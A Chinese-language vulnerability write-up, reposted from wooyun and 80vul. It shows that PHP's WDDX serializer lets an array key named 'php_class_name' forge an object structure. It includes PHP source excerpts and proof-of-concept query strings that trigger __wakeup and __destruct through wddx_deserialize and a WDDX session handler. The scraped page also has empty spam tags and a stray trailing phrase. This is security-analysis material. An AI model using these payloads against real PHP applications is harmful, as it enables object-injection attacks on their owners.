<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/3911

            PHP 在把數組序列化為 WDDX 結構的過程中,沒有對數組的鍵名嚴格限制,導致可以偽造對象的 WDDX 結構。

            i 序列化對象


            PHP 在把對象序列化為 WDDX 結構時,會做如下處理:

            #!cpp
            static void php_wddx_serialize_object(wddx_packet *packet, zval *obj)
            ...
                    php_wddx_add_chunk_static(packet, WDDX_STRUCT_S);
                    snprintf(tmp_buf, WDDX_BUF_LEN, WDDX_VAR_S, PHP_CLASS_NAME_VAR);
                    php_wddx_add_chunk(packet, tmp_buf);
                    php_wddx_add_chunk_static(packet, WDDX_STRING_S);
                    php_wddx_add_chunk_ex(packet, class_name->val, class_name->len);
                    php_wddx_add_chunk_static(packet, WDDX_STRING_E);
                    php_wddx_add_chunk_static(packet, WDDX_VAR_E);
            }
            

            比如下面代碼中的變量 $obj:

            #!php
            class ryat {
                var $hi;
                function __wakeup() {
                    echo 'hi';
                }
                function __destruct() {
                    echo $this->hi, "\n";
                }
            }
            
            $obj = new ryat();
            $obj->hi = 'ryat';
            
            var_dump(wddx_serialize_value($obj));
            

            經過 wddx_serialize_value() 函數序列化的 WDDX 結構如下:

            <wddxPacket version='1.0'><header/><data><struct><var name='php_class_name'><string>ryat</string></var><var name='hi'><string>ryat</string></var></struct></data></wddxPacket>
            

            ii 序列化數組


            PHP 把數組序列化為 WDDX 結構時,會做如下處理:

            #!cpp
            static void php_wddx_serialize_array(wddx_packet *packet, zval *arr)
            {
            ...
                target_hash = HASH_OF(arr);
                ZEND_HASH_FOREACH_KEY(target_hash, idx, key) {
                    if (key) {
                        is_struct = 1;
                        break;
                    }
            
                    if (idx != ind) {
                        is_struct = 1;
                        break;
                    }
                    ind++;
                } ZEND_HASH_FOREACH_END();
            
                if (is_struct) {
                    php_wddx_add_chunk_static(packet, WDDX_STRUCT_S);
                } else {
                    snprintf(tmp_buf, sizeof(tmp_buf), WDDX_ARRAY_S, zend_hash_num_elements(target_hash));
                    php_wddx_add_chunk(packet, tmp_buf);
                }
            
                ZEND_HASH_FOREACH_KEY_VAL(target_hash, idx, key, ent) {
                    if (ent == arr) {
                        continue;
                    }
            
                    if (is_struct) {
                        if (key) {
                            php_wddx_serialize_var(packet, ent, key TSRMLS_CC);
                        } else {
                            key = zend_long_to_str(idx);
                            php_wddx_serialize_var(packet, ent, key TSRMLS_CC);
                            zend_string_release(key);
                        }
                    } else {
                        php_wddx_serialize_var(packet, ent, NULL TSRMLS_CC);
                    }
                } ZEND_HASH_FOREACH_END();
            
                if (is_struct) {
                    php_wddx_add_chunk_static(packet, WDDX_STRUCT_E);
                } else {
                    php_wddx_add_chunk_static(packet, WDDX_ARRAY_E);
                }
            }
            ...
            void php_wddx_serialize_var(wddx_packet *packet, zval *var, zend_string *name TSRMLS_DC)
            {
            ...
                if (name) {
                    char *tmp_buf;
                    zend_string *name_esc;
            
                    name_esc = php_escape_html_entities(name->val, name->len, 0, ENT_QUOTES, NULL TSRMLS_CC);
                    tmp_buf = emalloc(name_esc->len + sizeof(WDDX_VAR_S));
                    snprintf(tmp_buf, name_esc->len + sizeof(WDDX_VAR_S), WDDX_VAR_S, name_esc->val);
                    php_wddx_add_chunk(packet, tmp_buf);
                    efree(tmp_buf);
                    zend_string_release(name_esc);
                }
            

            從上面的代碼可以看到,數組序列化后的 WDDX 結構主要分為兩種,一種是沒有指定鍵名的數組的處理,比如下面代碼中的變量 $arr:

            #!php
            $arr = array('hi', 'ryat');
            
            var_dump(wddx_serialize_value($arr));
            

            經過 wddx_serialize_value() 函數序列化的 WDDX 結構如下:

            <wddxPacket version='1.0'><header/><data><array length='2'><string>hi</string><string>ryat</string></array></data></wddxPacket>
            

            另一種則是對指定鍵名的數組的處理,比如下面代碼中的變量 $arr:

            #!php
            $arr = array('hi'=>'hi', 'ryat'=>'ryat');
            
            var_dump(wddx_serialize_value($arr));
            

            經過 wddx_serialize_value() 函數序列化的 WDDX 結構如下:

            <wddxPacket version='1.0'><header/><data><struct><var name='hi'><string>hi</string></var><var name='ryat'><string>ryat</string></var></struct></data></wddxPacket>
            

            iii 偽造對象的 WDDX 結構


            通過上面的分析,簡單了解 WDDX 結構存儲 PHP 數組和對象的具體格式,對象的存儲格式和指定鍵名的數組的存儲格式非常接近,區別只在于,對象的存儲格式多了對類名的存儲:

            <var name='php_class_name'><string>ryat</string></var>
            

            PHP 在把數組序列化 WDDX 結構過程中,僅僅調用了 php_escape_html_entities() 函數處理,然后直接構造 WDDX_VAR_S:

            #define WDDX_VAR_S              "<var name='%s'>"
            

            那么如果數組中存在一個值為 php_class_name 的鍵名,就可以構造出:

            <var name='php_class_name'><string>ryat</string></var>
            

            這時序列化的 WDDX 結構就和對象的一樣了,如下面代碼中的變量 $arr:

            #!php
            $arr = array('php_class_name'=>'ryat', 'hi'=>'ryat');
            
            var_dump(wddx_serialize_value($arr));
            

            經過 wddx_serialize_value() 函數序列化的 WDDX 結構如下:

            <wddxPacket version='1.0'><header/><data><struct><var name='php_class_name'><string>ryat</string></var><var name='hi'><string>ryat</string></var></struct></data></wddxPacket>
            

            可以看到,序列化的 WDDX 結構和第一個例子中的 $obj 對象序列化的 WDDX 結構是一樣的,也就說,通過一個特殊的數組偽造了一個對象的 WDDX 結構:)

            iv 安全隱患


            PHP 反序列化 WDDX 結構的處理過程類似于 unserialize() 函數,通過對特定的 WDDX 結構反序列化,可以生成一個對象,并執行類的 __wakeup() 方法(如果存在的話),在對象被銷毀或者腳本執行結束時會執行類的 __destruct() 方法(如果存在的話),那么安全隱患隨之而來。而比 unserialize() 函數更危險的是,反序列化過程和序列化過程都可能存在安全問題:)

            i) 利用 wddx_deserialize() 函數

            #!php
            class ryat {
                var $hi;
                function __wakeup() {
                    echo 'hi';
                }
                function __destruct() {
                    echo $this->hi, "\n";
                }
            }
            
            wddx_deserialize(wddx_serialize_value($_GET['arr']);
            

            通過下面的方式,可以成功執行 __wakeup() 方法和 __destruct() 方法:)

            ?arr[php_class_name]=ryat&arr[hi]=ryat
            

            ii) 利用 $_SESSION 進行序列化和反序列化

            PHP 在存儲和讀取 $_SESSION 時會對數據進行序列化和反序列化,默認情況下與 serialize() 函數和 unserialize() 函數的處理方式相同,但是 PHP 提供了一個 session.serialize_handler 配置選項,可以使用 WDDX 格式進行序列化和反序列化:)

            #!php
            ini_set('session.serialize_handler', 'wddx');
            session_start();
            
            $_SESSION['arr'] = $_GET['arr'];
            

            通過下面的方式,就可以偽造成對象的 WDDX 結構:)

            ?arr[php_class_name]=ryat&arr[hi]=ryat
            

            from:http://www.80vul.com/pch/pch-014.txt

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线